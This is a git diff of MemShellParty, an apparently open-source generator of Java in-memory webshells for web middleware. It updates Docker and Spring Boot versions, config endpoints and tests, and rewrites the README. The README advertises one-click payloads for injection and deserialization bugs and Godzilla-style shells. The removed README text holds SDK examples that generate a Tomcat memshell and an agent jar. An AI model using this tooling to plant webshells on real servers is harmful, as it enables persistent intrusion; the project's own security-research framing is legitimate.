VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
||||||
|
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -24,8 +25,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:21.0.12_8-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 贡献者
|
||||||
|
|
||||||
|
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
|
||||||
|
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
|
||||||
|
</a>
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.8"
|
id("org.springframework.boot") version "4.1.0"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -31,11 +31,8 @@ dependencies {
|
|||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
|
||||||
}
|
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -1,10 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
|
import com.reajason.javaweb.boot.vo.PackerVO;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -21,7 +23,12 @@ import java.util.*;
|
|||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @deprecated use {@link #config()} for memshell configuration and
|
||||||
|
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
||||||
|
*/
|
||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
|
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
@@ -33,16 +40,40 @@ public class ConfigController {
|
|||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
||||||
|
*/
|
||||||
@RequestMapping("/packers")
|
@RequestMapping("/packers")
|
||||||
|
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||||
public List<String> getPackers() {
|
public List<String> getPackers() {
|
||||||
return Arrays.stream(Packers.values())
|
return Arrays.stream(Packers.values())
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
.map(Packers::name).toList();
|
.map(Packers::name).toList();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
||||||
|
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
||||||
|
*/
|
||||||
|
@RequestMapping("/packers/tree")
|
||||||
|
public List<PackerVO> getPackerTree() {
|
||||||
|
return Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(packers -> new PackerVO(
|
||||||
|
packers.name(),
|
||||||
|
Packers.getPackersWithParent(packers.getInstance().getClass())
|
||||||
|
.stream().map(Packers::name).toList()))
|
||||||
|
.toList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@RequestMapping("/probe/response-body/servers")
|
||||||
|
public List<String> getProbeResponseBodyServers() {
|
||||||
|
return ResponseBodyGenerator.getSupportedServers();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/6/27
|
||||||
|
*/
|
||||||
|
public record PackerVO(String name, List<String> children) {
|
||||||
|
}
|
||||||
+49
-8
@@ -1,11 +1,15 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
|
import org.springframework.core.ParameterizedTypeReference;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.client.RestClient;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -21,27 +25,64 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
@Autowired
|
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
||||||
private TestRestTemplate restTemplate;
|
};
|
||||||
|
|
||||||
|
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
||||||
|
};
|
||||||
|
|
||||||
|
@LocalServerPort
|
||||||
|
private int port;
|
||||||
|
|
||||||
|
private RestClient restClient;
|
||||||
|
|
||||||
|
@BeforeEach
|
||||||
|
void setUp() {
|
||||||
|
restClient = RestClient.builder()
|
||||||
|
.baseUrl("http://localhost:" + port)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||||
|
.uri("/api/config")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(MAP_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||||
|
.uri("/api/config/servers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(MAP_TYPE);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void testConfigPackersEndpoint() {
|
||||||
|
ResponseEntity<List<String>> response = restClient.get()
|
||||||
|
.uri("/api/config/packers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(STRING_LIST_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigProbeResponseBodyServersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
ResponseEntity<List<String>> response = restClient.get()
|
||||||
|
.uri("/api/config/probe/response-body/servers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(STRING_LIST_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+19
-6
@@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.ShellType;
|
|||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.client.RestClient;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
@@ -25,8 +26,17 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
class MemShellGeneratorControllerTest {
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
@Autowired
|
@LocalServerPort
|
||||||
TestRestTemplate restTemplate;
|
private int port;
|
||||||
|
|
||||||
|
private RestClient restClient;
|
||||||
|
|
||||||
|
@BeforeEach
|
||||||
|
void setUp() {
|
||||||
|
restClient = RestClient.builder()
|
||||||
|
.baseUrl("http://localhost:" + port)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void generateShell() {
|
void generateShell() {
|
||||||
@@ -50,8 +60,11 @@ class MemShellGeneratorControllerTest {
|
|||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
||||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
.uri("/api/memshell/generate")
|
||||||
|
.body(request)
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(MemShellGenerateResponse.class);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.6.1"
|
version = "2.10.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
+34
-332
@@ -1,11 +1,6 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -17,49 +12,54 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
||||||
|
|
||||||
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
||||||
|
|
||||||
What you can learn or try from this project:
|
<p align="center">
|
||||||
|
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
1. Learn to write java memshell for common middleware and frameworks.
|
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
</p>
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
||||||
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
||||||
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
||||||
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
||||||
|
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
||||||
|
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Online Preview
|
### Read Before Use
|
||||||
|
|
||||||
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
||||||
|
|
||||||
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
||||||
|
|
||||||
|
### Online Site
|
||||||
|
|
||||||
|
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
||||||
|
|
||||||
|
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
||||||
|
|
||||||
|
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
||||||
|
|
||||||
After deploying with Docker, access the service at http://127.0.0.1:8080
|
After deploying with Docker, access http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Pull the latest image from Docker Hub
|
# Pull the latest image from Docker Hub
|
||||||
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
|||||||
# Pull the latest image from Github Container Registry
|
# Pull the latest image from Github Container Registry
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
## Special Thanks
|
||||||
|
|
||||||
```bash
|
|
||||||
# Remove the previously deployed container
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### SDK Integration into Existing Tools
|
|
||||||
|
|
||||||
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
|
||||||
|
|
||||||
1. Add the dependency using Maven or Gradle:
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- Maven Repo-->
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.7.0</version>
|
|
||||||
</dependency>
|
|
||||||
```
|
|
||||||
|
|
||||||
```groovy
|
|
||||||
// Gradle Repo
|
|
||||||
implementation 'io.github.reajason:generator:1.7.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
|
||||||
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // Shrink bytecode size
|
|
||||||
.debug(false) // Disable debug mode
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
|
||||||
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
|
||||||
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
```
|
|
||||||
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // Shrink bytecode size
|
|
||||||
.debug(false) // Disable debug mode
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
|
||||||
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
```
|
|
||||||
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
|
||||||
|
|
||||||
## Compatibility
|
|
||||||
|
|
||||||
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|
||||||
|
|
